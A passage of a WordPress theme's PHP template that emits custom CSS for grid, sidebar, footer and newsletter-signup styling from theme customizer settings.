            .penci-grid li.typography-style .grid-post-box-meta span, .penci-grid li.typography-style .grid-post-box-meta span a { color: <?php echo get_theme_mod( 'penci_photography_meta_color' ); ?>; }
            .penci-grid li.typography-style .grid-post-box-meta span:after { background-color: <?php echo get_theme_mod( 'penci_photography_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_accent_color' ) ): ?>
            .penci-grid li.typography-style .grid-post-box-meta span a:hover { color: <?php echo get_theme_mod( 'penci_photography_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_title_post_color' ) ): ?>
            .overlay-header-box .overlay-title a { color: <?php echo get_theme_mod( 'penci_overlay_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_title_post_hover_color' ) ): ?>
            .overlay-header-box .overlay-title a:hover { color: <?php echo get_theme_mod( 'penci_overlay_title_post_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_cat_post_color' ) ): ?>
            .overlay-header-box .cat > a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_overlay_cat_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_cat_hover_post_color' ) ): ?>
            .overlay-header-box .cat > a.penci-cat-name:hover { color: <?php echo get_theme_mod( 'penci_overlay_cat_hover_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_author_post_color' ) ): ?>
            .overlay-author span, .overlay-author a { color: <?php echo get_theme_mod( 'penci_overlay_author_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid3_bg_color' ) ): ?>
            .penci-grid[data-layout="grid-boxed-3"] li .item { background: <?php echo get_theme_mod( 'penci_grid3_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid4_bg_color' ) ): ?>
            .grid-boxed-4-item .grid-header-box { background: <?php echo get_theme_mod( 'penci_grid4_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_layout_category_fsize' ) ): ?>
            .penci-featured-infor .cat > a.penci-cat-name, .penci-standard-cat .cat > a.penci-cat-name, .grid-header-box .cat > a.penci-cat-name, .header-list-style .cat > a.penci-cat-name, .overlay-header-box .cat > a.penci-cat-name, .inner-boxed-2 .cat > a.penci-cat-name, .main-typography .cat > a.penci-cat-name{ font-size: <?php echo get_theme_mod( 'penci_layout_category_fsize' ); ?>px; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.header-standard h2 a, .overlay-header-box .overlay-title a, .penci-featured-infor .penci-entry-title, .grid-mixed .mixed-detail h2 a, .pc_titlebig_standard', 'penci_layout_titlebig_fsize' ); ?>
		<?php echo penci_renders_css( '.penci-grid li .item h2 a, .penci-masonry .item-masonry h2 a, .penci_grid_title a', 'penci_layout_title_fsize' ); ?>
		<?php if ( get_theme_mod( 'penci_layout_meta_fsize' ) ): ?>
            .grid-post-box-meta, .overlay-header-box .overlay-author, .penci-post-box-meta .penci-box-meta, .header-standard .author-post{ font-size: <?php echo get_theme_mod( 'penci_layout_meta_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_layout_excerpt_fsize' ) ): ?>
            .item-content p, .standard-content .standard-post-entry, .standard-content .standard-post-entry p{ font-size: <?php echo get_theme_mod( 'penci_layout_excerpt_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_layout_readmore_fsize' ) ): ?>
            .standard-content .penci-more-link a.more-link, .standard-content .penci-more-link.penci-more-link-button a.more-link, .penci-readmore-btn a, .penci-readmore-btn.penci-btn-make-button a{ font-size: <?php echo get_theme_mod( 'penci_layout_readmore_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_layout_sharebox_fsize' ) ): ?>
            .grid-featured .penci-post-share-box a, .penci-post-box-meta .penci-post-share-box a{ font-size: <?php echo get_theme_mod( 'penci_layout_sharebox_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rgap_pitems' ) ): ?>
            .penci-grid > li, .grid-featured, .penci-grid li.typography-style, .grid-mixed, .penci-grid .list-post.list-boxed-post, .penci-masonry .item-masonry, article.standard-article, .penci-grid li.list-post, .grid-overlay, .penci-grid li.list-post.penci-slistp{ margin-bottom: <?php echo get_theme_mod( 'penci_rgap_pitems' ); ?>px; }
            .penci-grid li.list-post, .penci-grid li.list-post.penci-slistp{ padding-bottom: <?php echo get_theme_mod( 'penci_rgap_pitems' ); ?>px; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp{ padding-bottom: 0px; margin-bottom: 0px; padding-top: <?php echo get_theme_mod( 'penci_rgap_pitems' ); ?>px; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp{ margin-top: <?php echo get_theme_mod( 'penci_rgap_pitems' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rgap_pbitems' ) ): ?>
            .grid-featured, .grid-mixed, article.standard-article, .grid-overlay{ margin-bottom: <?php echo get_theme_mod( 'penci_rgap_pbitems' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rgap_listitems' ) ): ?>
            .penci-grid li.list-post{ margin-bottom: <?php echo get_theme_mod( 'penci_rgap_listitems' ); ?>px; padding-bottom: <?php echo get_theme_mod( 'penci_rgap_listitems' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rgap_psitems' ) ): ?>
            .penci-grid li.list-post.penci-slistp{ margin-bottom: <?php echo get_theme_mod( 'penci_rgap_psitems' ); ?>px; padding-bottom: <?php echo get_theme_mod( 'penci_rgap_psitems' ); ?>px; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp{ padding-bottom: 0; margin-bottom: 0; padding-top: <?php echo get_theme_mod( 'penci_rgap_psitems' ); ?>px; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp{ margin-top: <?php echo get_theme_mod( 'penci_rgap_psitems' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_img_listwidth' ) ):
			$list_img_width = get_theme_mod( 'penci_img_listwidth' );
			$list_right_width = 100 - $list_img_width;
			?>
            @media only screen and (min-width: 768px){
            .penci-grid li.list-post .item > .thumbnail, .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb{ width: <?php echo $list_img_width; ?>%; }
            .penci-grid li.list-post .item .content-list-right, .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail{ width: <?php echo $list_right_width; ?>%; }
            }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_img_slistwidth' ) ): ?>
            @media only screen and (min-width: 768px){
            .penci-grid li.list-post.penci-slistp .item > .thumbnail{ width: <?php echo get_theme_mod( 'penci_img_slistwidth' ); ?>%; }
            }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_width' ) ):
			$sidebarwidth = get_theme_mod( 'penci_sidebar_width' );
			$sidebarcontent   = 100 - $sidebarwidth;
			?>
            @media only screen and (min-width: 961px){ .penci-sidebar-content{ width: <?php echo $sidebarwidth; ?>%; } .penci-single-style-10 .penci-single-s10-content, .container.penci_sidebar:not(.two-sidebar) #main{ width: <?php echo $sidebarcontent; ?>%;  } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_width_px' ) ):
			$sidebarwidth_px = get_theme_mod( 'penci_sidebar_width_px' );
			?>
            @media only screen and (min-width: 961px){ .penci-sidebar-content{ width: <?php echo $sidebarwidth_px; ?>px; } .penci-single-style-10 .penci-single-s10-content, .container.penci_sidebar:not(.two-sidebar) #main{ width: calc(100% - <?php echo $sidebarwidth_px; ?>px);  } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_2sidebar_width' ) ):
			$sidebarswidth = get_theme_mod( 'penci_2sidebar_width' );
			$sidebarscontent  = 100 - ( $sidebarswidth * 2 );
			?>
            @media only screen and (min-width: 1201px){ .layout-14_12_14 .penci-vc-sidebar, .container.two-sidebar .penci-sidebar-content{ width: <?php echo $sidebarswidth; ?>%; } .layout-14_12_14 .penci-main-content, .container.two-sidebar #main{ width: <?php echo $sidebarscontent; ?>%; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_2sidebar_width_px' ) ):
			$sidebarswidth2_px = get_theme_mod( 'penci_2sidebar_width_px' );
			?>
            @media only screen and (min-width: 1201px){ .layout-14_12_14 .penci-vc-sidebar, .container.two-sidebar .penci-sidebar-content{ width: <?php echo $sidebarswidth2_px; ?>px; } .layout-14_12_14 .penci-main-content, .container.two-sidebar #main{ width: calc(100% - <?php echo( $sidebarswidth2_px * 2 ); ?>px); } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_space' ) ): ?>
			body.loading-posts #main .penci-loader-effect{transform: translateX(calc(<?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px / 2 * -1));}
            @media only screen and (min-width: 961px){ .penci-single-style-10 .penci-single-s10-content, .container.penci_sidebar.right-sidebar #main{ padding-right: <?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px; } .penci-single-style-10.penci_sidebar.left-sidebar .penci-single-s10-content, .container.penci_sidebar.left-sidebar #main,.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-both .penci-single-product-sidebar-wrap,.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content{ padding-left: <?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px; } }
            @media only screen and (min-width: 1201px){ .layout-14_12_14 .penci-main-content, .container.two-sidebar #main{ padding-left: <?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px; padding-right: <?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_widget_margin' ) ): ?>
            .penci-sidebar-content .widget, .penci-sidebar-content.pcsb-boxed-whole { margin-bottom: <?php echo get_theme_mod( 'penci_sidebar_widget_margin' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_padding' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ padding: <?php echo get_theme_mod( 'penci_sidebar_padding' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_padding_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ padding: <?php echo get_theme_mod( 'penci_sidebar_padding_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_bxsb_bg' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ background-color: <?php echo get_theme_mod( 'penci_bxsb_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_bxsb_border' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ border-color: <?php echo get_theme_mod( 'penci_bxsb_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sbbx_bdstyle' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ border-style: <?php echo get_theme_mod( 'penci_sbbx_bdstyle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_boxed_bdw' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ border-width: <?php echo get_theme_mod( 'penci_sidebar_boxed_bdw' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_disable_phtml' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-widget .widget.widget_custom_html{ padding: 0; border: none; background: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_lowcase' ) ): ?>
            .penci-sidebar-content .penci-border-arrow .inner-arrow { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_rm_bdbottom' ) ): ?>
            .widget ul li, .widget ol li, .widget ul.side-newsfeed li, .woocommerce ul.product_list_widget li{ padding-bottom: 0; border-bottom: none; }
            .widget ul li, .widget ol li{ margin-bottom: 15px; }
            .woocommerce ul.product_list_widget li{ margin-bottom: 20px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_size' ) ): ?>
            .penci-sidebar-content .penci-border-arrow .inner-arrow { font-size: <?php echo get_theme_mod( 'penci_sidebar_heading_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_image_8' ) ): ?>
            .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow { background-image: url(<?php echo get_theme_mod( 'penci_sidebar_heading_image_8' ); ?>); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading8_repeat' ) ): ?>
            .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow { background-repeat: <?php echo get_theme_mod( 'penci_sidebar_heading8_repeat' ); ?>; background-size: auto; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_bg' ) ): ?>
			.penci-sidebar-content.style-25 .inner-arrow,
			.penci-sidebar-content.style-25 .widget-title,
            .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow,
            .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow,
            .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before,
            .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow,
			.penci-sidebar-content.style-30 .widget-title > span,
            .penci-sidebar-content .penci-border-arrow .inner-arrow, .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{ background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
            .penci-sidebar-content.style-2 .penci-border-arrow:after{ border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
            .penci-sidebar-content.style-28 .widget-title,.penci-sidebar-content.style-30 .widget-title{ --pcaccent-cl: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_outer_bg' ) ): ?>
			.penci-sidebar-content.style-25 .widget-title span {--pcheading-cl: <?php echo get_theme_mod( 'penci_sidebar_heading_outer_bg' ); ?>; }
            .penci-sidebar-content .penci-border-arrow:after { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_outer_bg' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color' ) ): ?>
			.penci-sidebar-content.style-25 .widget-title span{--pcheading-cl:<?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>;}
			.penci-sidebar-content.style-29 .widget-title > span,.penci-sidebar-content.style-26 .widget-title,.penci-sidebar-content.style-30 .widget-title{--pcborder-cl:<?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>;}
			.penci-sidebar-content.style-24 .widget-title>span,
			.penci-sidebar-content.style-23 .widget-title>span,
			.penci-sidebar-content.style-29 .widget-title > span,
			.penci-sidebar-content.style-22 .widget-title,.penci-sidebar-content.style-21 .widget-title span{--pcaccent-cl:<?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>;}
            .penci-sidebar-content .penci-border-arrow .inner-arrow, .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before, .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after, .penci-sidebar-content.style-5 .penci-border-arrow, .penci-sidebar-content.style-7
            .penci-border-arrow, .penci-sidebar-content.style-9 .penci-border-arrow{ border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
            .penci-sidebar-content .penci-border-arrow:before { border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
            .penci-sidebar-content.style-16 .penci-border-arrow:after{ background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color5' ) ): ?>
            .penci-sidebar-content.style-5 .penci-border-arrow { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color5' ); ?>; }
            .penci-sidebar-content.style-12 .penci-border-arrow,.penci-sidebar-content.style-10 .penci-border-arrow,
            .penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow{ border-bottom-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color5' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'sidebar_heading_bordertop_color10' ) ): ?>
            .penci-sidebar-content.style-10 .penci-border-arrow{ border-top-color: <?php echo get_theme_mod( 'sidebar_heading_bordertop_color10' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_shapes_color' ) ): ?>
            .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,
            .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{ border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_shapes_color' ); ?>; }
            .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before,
            .penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after,
            .penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after{ border-bottom-color: <?php echo get_theme_mod( 'penci_sidebar_heading_shapes_color' ); ?>; }
            .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after,
            .penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after{ border-right-color: <?php echo get_theme_mod( 'penci_sidebar_heading_shapes_color' ); ?>; }
            .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before,
            .penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before { border-left-color: <?php echo get_theme_mod( 'penci_sidebar_heading_shapes_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_bgstyle15' ) ): ?>
            .penci-sidebar-content.style-15 .penci-border-arrow:before{ background-color: <?php echo get_theme_mod( 'penci_sidebar_bgstyle15' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_iconstyle15' ) ): ?>
            .penci-sidebar-content.style-15 .penci-border-arrow:after{ color: <?php echo get_theme_mod( 'penci_sidebar_iconstyle15' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_cllines' ) ): ?>
            .penci-sidebar-content.style-18 .penci-border-arrow:after{ color: <?php echo get_theme_mod( 'penci_sidebar_cllines' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color7' ) ): ?>
            .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before, .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color7' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_border_inner_color' ) ): ?>
			.penci-sidebar-content.style-24 .widget-title>span,
			.penci-sidebar-content.style-23 .widget-title>span,
			.penci-sidebar-content.style-22 .widget-title{--pcborder-cl:<?php echo get_theme_mod( 'penci_sidebar_heading_border_inner_color' ); ?>;}
            .penci-sidebar-content .penci-border-arrow:after { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_inner_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_color' ) ): ?>
			.penci-sidebar-content.style-21,
			.penci-sidebar-content.style-22,
			.penci-sidebar-content.style-23,
			.penci-sidebar-content.style-28 .widget-title,
			.penci-sidebar-content.style-29 .widget-title,
			.penci-sidebar-content.style-29 .widget-title,
			.penci-sidebar-content.style-24{ --pcheading-cl: <?php echo get_theme_mod( 'penci_sidebar_heading_color' ); ?>; }
			.penci-sidebar-content.style-25 .widget-title span,
			.penci-sidebar-content.style-30 .widget-title > span,
            .penci-sidebar-content .penci-border-arrow .inner-arrow { color: <?php echo get_theme_mod( 'penci_sidebar_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_remove_border_outer' ) ): ?>
            .penci-sidebar-content .penci-border-arrow:after { content: none; display: none; }
            .penci-sidebar-content .widget-title{ margin-left: 0; margin-right: 0; margin-top: 0; }
            .penci-sidebar-content .penci-border-arrow:before{ bottom: -6px; border-width: 6px; margin-left: -6px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_remove_arrow_down' ) ): ?>
            .penci-sidebar-content .penci-border-arrow:before, .penci-sidebar-content.style-2 .penci-border-arrow:after { content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_accent_color' ) ): ?>
            .widget ul.side-newsfeed li .side-item .side-item-text h4 a, .widget a, #wp-calendar tbody td a, .widget.widget_categories ul li, .widget.widget_archive ul li, .widget-social a i, .widget-social a span, .widget-social.show-text a span,.penci-video_playlist .penci-video-playlist-item .penci-video-title, .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a{ color: <?php echo get_theme_mod( 'penci_sidebar_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_accent_hover_color' ) ): ?>
            .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover,.widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover, .widget a:hover, .penci-sidebar-content .widget-social a:hover span, .widget-social a:hover span, .penci-tweets-widget-content .icon-tweets, .penci-tweets-widget-content .tweet-intents a, .penci-tweets-widget-content
            .tweet-intents span:after, .widget-social.remove-circle a:hover i , #wp-calendar tbody td a:hover, .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover, .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover{ color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
            .widget .tagcloud a:hover, .widget-social a:hover i, .widget input[type="submit"]:hover,.penci-user-logged-in .penci-user-action-links a:hover,.penci-button:hover, .widget button[type="submit"]:hover { color: #fff; background-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
            .about-widget .about-me-heading:before { border-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
            .penci-tweets-widget-content .tweet-intents-inner:before, .penci-tweets-widget-content .tweet-intents-inner:after, .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item, .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb, .penci-video_playlist .penci-playlist-title { background-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
            .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span, .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span { border-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; background-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
		<?php endif; ?>
		<?php
		$footer_widget_padding = get_theme_mod( 'penci_footer_widget_padding' );
		if ( is_page() ) {
			$pmeta_page_footer = get_post_meta( get_the_ID(), 'penci_pmeta_page_footer', true );
			if ( isset( $pmeta_page_footer['penci_fw_padding_top_bottom'] ) && $pmeta_page_footer['penci_fw_padding_top_bottom'] ) {
				$footer_widget_padding = $pmeta_page_footer['penci_fw_padding_top_bottom'];
			}
		}

		if ( $footer_widget_padding ) {
			echo '#widget-area { padding: ' . $footer_widget_padding . 'px 0; }';
		}
		?>
		<?php if ( get_theme_mod( 'penci_footer_widget_titlefsize' ) ): ?>
            .footer-widget-wrapper .widget .widget-title .inner-arrow{ font-size: <?php echo get_theme_mod( 'penci_footer_widget_titlefsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_size' ) ): ?>
            ul.footer-socials li a i{ font-size: <?php echo get_theme_mod( 'penci_footer_social_size' ); ?>px; }
            ul.footer-socials li a svg{ width: <?php echo get_theme_mod( 'penci_footer_social_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_lowercase' ) ): ?>
            ul.footer-socials li a span { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_text_size' ) ): ?>
            ul.footer-socials li a span { font-size: <?php echo get_theme_mod( 'penci_footer_social_text_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_mwlogo' ) ): ?>
            #footer-logo a{ max-width: <?php echo get_theme_mod( 'penci_footer_mwlogo' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_mwlogo_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ #footer-logo a{ max-width: <?php echo get_theme_mod( 'penci_footer_mwlogo_mobile' ); ?>px; } #footer-logo img{ max-width: 100%; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_menu_size' ) ): ?>
            #footer-section .footer-menu li a { font-size: <?php echo get_theme_mod( 'penci_footer_menu_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_size' ) ): ?>
            #footer-copyright * { font-size: <?php echo get_theme_mod( 'penci_footer_copyright_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_remove_italic' ) ): ?>
            #footer-copyright * { font-style: normal; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_showemail' ) ): ?>
            .footer-subscribe .mc4wp-form .mname{ display: block; }
            .footer-subscribe .mc4wp-form .memail, .footer-subscribe .mc4wp-form .msubmit{ float: none; display: block; width: 100%; margin-right: 0; margin-left: 0; }
            .footer-subscribe .mc4wp-form .msubmit input, .footer-subscribe .widget .mc4wp-form input[type="email"], .footer-subscribe .widget .mc4wp-form input[type="text"]{ width: 100%; max-width: 100%; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_ptop' ) ): ?>
            @media only screen and (min-width: 480px){ .footer-subscribe { padding-top: <?php echo get_theme_mod( 'penci_footer_signup_ptop' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_pbottom' ) ): ?>
            @media only screen and (min-width: 480px){ .footer-subscribe { padding-bottom: <?php echo get_theme_mod( 'penci_footer_signup_pbottom' ); ?>px; } }
		<?php endif; ?>
		<?php echo penci_renders_css( '.footer-subscribe h4.footer-subscribe-title', 'penci_footer_signup_fstitle' ); ?>
		<?php echo penci_renders_css( '.footer-subscribe .mc4wp-form .mdes', 'penci_footer_signup_fsdesc' ); ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_fsinputs' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="email"], .footer-subscribe .widget .mc4wp-form input[type="text"] { font-size: <?php echo get_theme_mod( 'penci_footer_signup_fsinputs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_fsisubmit' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"]{ font-size: <?php echo get_theme_mod( 'penci_footer_signup_fsisubmit' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_area_bg' ) ): ?>
            .footer-subscribe { background-color: <?php echo get_theme_mod( 'penci_footer_signup_area_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_heading_color' ) ): ?>
            .footer-subscribe h4.footer-subscribe-title { color: <?php echo get_theme_mod( 'penci_footer_signup_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_des_color' ) ): ?>
            .footer-subscribe .mc4wp-form .mdes { color: <?php echo get_theme_mod( 'penci_footer_signup_des_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_email_border' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="email"], .footer-subscribe .widget .mc4wp-form input[type="text"] { border-color: <?php echo get_theme_mod( 'penci_footer_signup_email_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'footer_signup_email_border_hover' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="email"]:focus, .footer-subscribe .widget .mc4wp-form input[type="email"]:hover, .footer-subscribe .widget .mc4wp-form input[type="text"]:focus, .footer-subscribe .widget .mc4wp-form input[type="text"]:hover { border-color: <?php echo get_theme_mod( 'footer_signup_email_border_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_email_text_color' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="email"], .footer-subscribe .widget .mc4wp-form input[type="text"] { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="email"]::-webkit-input-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="email"]:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
